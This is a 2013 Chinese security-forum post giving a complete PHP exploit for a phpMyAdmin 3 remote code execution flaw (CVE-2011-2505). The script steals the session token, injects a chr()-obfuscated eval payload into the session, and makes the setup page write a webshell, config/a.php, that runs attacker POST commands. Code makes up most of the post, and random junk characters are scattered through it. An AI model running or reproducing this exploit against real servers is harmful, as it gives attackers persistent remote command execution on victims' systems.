找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2379|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
! |% u# B, I, v( A, i6 d/ w/ O4 ?4 q0 E4 R" N: h
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。8 ^/ U# N5 U! i% k/ ?( Z+ `

2 h3 x4 z$ B# Y, t; v首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:! \: t" H2 Q" [+ ?  v
一是session.auto_start = 1;1 I2 [; |4 O; m) A! M, ~
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。+ T  m0 e8 [8 W$ B. k& }
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
) R& w# d. `# ~$ \
: y7 I$ Q* f9 |( h+ I在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。% k* R) Z1 c' k7 h7 ]
+ {5 h3 J8 B' h7 q- N+ [# s2 t
于是写了这个php版本的exp,代码如下:; p) l4 J4 C, b" Z# I; @' ~
: ?  l5 M- u( ?6 `% K
#!/usr/bin/php
% d( ^7 L) O7 y& x! ?<?php. D- G6 v+ m* A
print_r('8 ]1 P3 m4 g% x( S8 x
+---------------------------------------------------------------------------+
; r: s2 y5 n) w! k6 A4 tpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
+ H+ P; z  j+ R4 l) C# d0 Dby oldjun(www.oldjun.com)
; X- V0 X  X; rwelcome to www.t00ls.net
" e- @' a8 V/ K6 [mail: oldjun@gmail.com
4 Q; ?0 g  F& o$ h" l% xAssigned CVE id: CVE-2011-2505
. _7 ^" Z1 Y  C2 ~1 T, B# c+---------------------------------------------------------------------------+
6 d- W/ t; b+ S. i, Y" }* O0 [5 W! D');8 S' i  R* {! [6 }! P
. ]% Q4 T' @3 K, ]* @$ F3 t4 R* t
/**
7 Q( n& j+ r* e* p5 g/ w * working when the directory:"config" exists and is writeable.# L6 s' m% Z, A# Z! N+ _" ^4 h) W6 _
**/5 w$ T9 J4 H1 n4 Q' }/ _

2 D. b. I) a  L- w& s* ?, gif ($argc < 3) {
, o5 k) `- c# \1 y    print_r('7 X7 ~  E3 h4 Q. }2 c8 g
+---------------------------------------------------------------------------+
& t& |" y. P- w# VUsage: php '.$argv[0].' host path
! b& _/ y: M% Uhost:      target server (ip/hostname). K8 M) l* A, j$ s' M4 A5 ~. r% t
path:      path to pma3- }( U, t8 V& U8 e6 V
Example:( W/ K9 r/ d0 s
php '.$argv[0].' localhost /pma/: ^9 f  A6 x3 r2 y! A
+---------------------------------------------------------------------------+- k8 G+ O* L3 N, h2 C+ F# j1 {: ^
');
! e8 z( |4 n$ Y: F* A' I    exit;: m7 w1 z: v( Y' ^7 w, x' s- E4 Z
}
! [$ i. i- A5 H% w: {
& l3 X# t- \# J- L/ C$host = $argv[1];* ~3 G% P' ]) d  y/ F
$path = $argv[2];& e- [$ P( ?* v

1 P( ]9 ?9 Q: n6 z! R# _  S! d9 j/**
2 u7 M2 q0 H* k# B * Try to determine if the directory:"config" exists' f/ }3 S- p, ^6 y; n1 Z
**/
$ M' r6 N0 i3 C0 j3 M" ?echo "[+] Try to determine if the directory:config exists....\n";
' K0 ~! T4 L& |$returnstr=php_request('config/');
! e2 I+ ~6 s# }- w! I9 k  fif(strpos($returnstr,'404')){0 }5 l) x. \# c; A( ]
    exit("[-] Exploit Failed! The directory:config do not exists!\n");9 }) _' H/ k, g1 w- @- T/ y
}
! y& i  F! s+ x% M( H& H  `6 i  n/ b+ h, f7 I3 Z  G+ t* X
/**
, |! N. G' o$ @ * Try to get token and sessionid
5 }1 H7 t. D8 \& q8 x**/8 Y! c6 M0 ~# z
echo "[+] Try to get token and sessionid....\n";
7 x6 R" }% G  a3 M& o4 E: L& N$result=php_request('index.php');
  e: ?: l) T4 x+ \2 v* z' Ypreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
* ]3 N) u6 j% t* j" c) h0 @$token=$resp[3];
2 u6 }2 \0 z# w2 s" Z$sessionid=$resp[1];. a* Q( C+ _- d: [6 T
if($token && $sessionid){
5 \1 |- ~+ n) a1 D! ], i    echo "[+] tokentoken\n";! a( }% |* _! U, i: Q2 _" L- V) s
    echo "[+] Session IDsessionid\n";
2 Z# k' b6 k' |( E0 c0 |}else{2 x  ^& _/ P/ U4 h2 h6 q
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
5 q# x8 `$ K0 M( l; v1 l( M+ p}
" x2 Q9 z  p0 o! p9 ?
9 w6 Z1 n( k8 E, P/**  a( U, p! d) T1 G  U4 T/ x& u
* Try to insert shell into session
4 ?# U+ S1 d2 V5 X9 u**/
( f1 Y9 M- \5 Q, V" I3 ~echo "[+] Try to insert shell into session....\n";! Q9 a% t. l  d2 M# s& C3 A
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.1 ]/ x1 {- \# c1 [7 {6 Y3 D
+ H1 u0 v4 {: z
/**, G# b8 {( ?2 I- F7 @" u& ?% T0 w
* Try to create webshell, E; {/ t* D: M* w1 b( m8 j
**/
$ H& E  r6 @$ Q3 m# cecho "[+] Try to create webshell....\n";
% R/ a. d4 @. S. I. Z: sphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);( C# ?/ b9 r2 d- c; `
/**3 b5 v- F& @6 l( N! i1 f( R
* Try to check if the webshell was created successfully
- J( G+ W' Y: }% G**/, ?6 H; Q; ~1 a) {# g' d
echo "[+] Try to check if the webshell was created successfully....\n";
: |& u0 u) G( _) A! D# T$content=php_request('config/config.inc.php');0 V- B* C3 G9 A4 \: }
if(strpos($content,'t00ls')){
1 o& r5 L# f, t" V/ o    echo "[+] Congratulations! Expoilt successfully....\n";
4 ^" W& x+ X$ b/ U) `% a; e    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
; P6 B# M/ P6 w! t}else{/ t# T- p  ]) W6 f8 a+ Q* `
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
; E( Z' T1 S* Q, k5 R, B}
' z1 }7 d+ t$ c# n
2 D+ `' g6 f! ?( ^) U7 q& Ufunction php_request($url,$data='',$cookie=''){7 z! I1 }! o9 O
    global  $host, $path;
4 Y* M! s. V( {# p) ?- T    9 d  Q2 k2 H1 h+ u
    $method=$data?'POST':'GET';+ F' W5 s3 {7 |; {
   
7 n0 Q* _$ L! h6 H    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
7 v: }, U( F6 a' H0 s# b    $packet .= "Accept: */*\r\n";! c0 `, @( S9 n  w! B. P
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
' F* u0 e; X. J3 l; M    $packet .= "Host: $host\r\n";
$ g+ Y* X) `, F2 f    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
! I6 ]9 Z4 u# [8 q) Y* Z    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";: b* Z+ E5 D* g: F
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
4 @, S& L  D) p: H+ E    $packet .= "Connection: Close\r\n\r\n";
2 T$ ?0 X  ~2 A7 y3 [$ }    $packet .= $data?$data:"";
# G3 z7 b5 |. ]0 `, ]6 \
% D, a. Y( f: S5 V6 d    $fp = fsockopen(gethostbyname($host), 80);
) R, ?" d/ o9 @) [: K! w; y    if (!$fp) {
8 r1 J% o& t) P  I, H    echo 'No response from '.$host; die;
0 b7 z% q# Z- A; g% I    }, t  Q- x: o8 t8 Q' p; h1 t4 m5 i
    fputs($fp, $packet);3 Q1 \' O7 E- w* b9 a
! ?: {; [$ K2 y
    $resp = '';. C1 }) Z# `0 W3 X  |' C8 A

& G2 K5 Y( r8 ~# ?6 I7 j# \    while ($fp && !feof($fp))% t2 x0 }) X4 d3 }
        $resp .= fread($fp, 1024);
5 V- j- y. z: a- l
( B: D; H! o( X$ Y' s    return $resp;
" {5 z: o0 y7 v" c}
* x6 t8 v6 y! b9 e    6 E/ Z- N- d' h" T6 R: N* J
?>
* m: y* z5 F: G4 X% }4 q.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表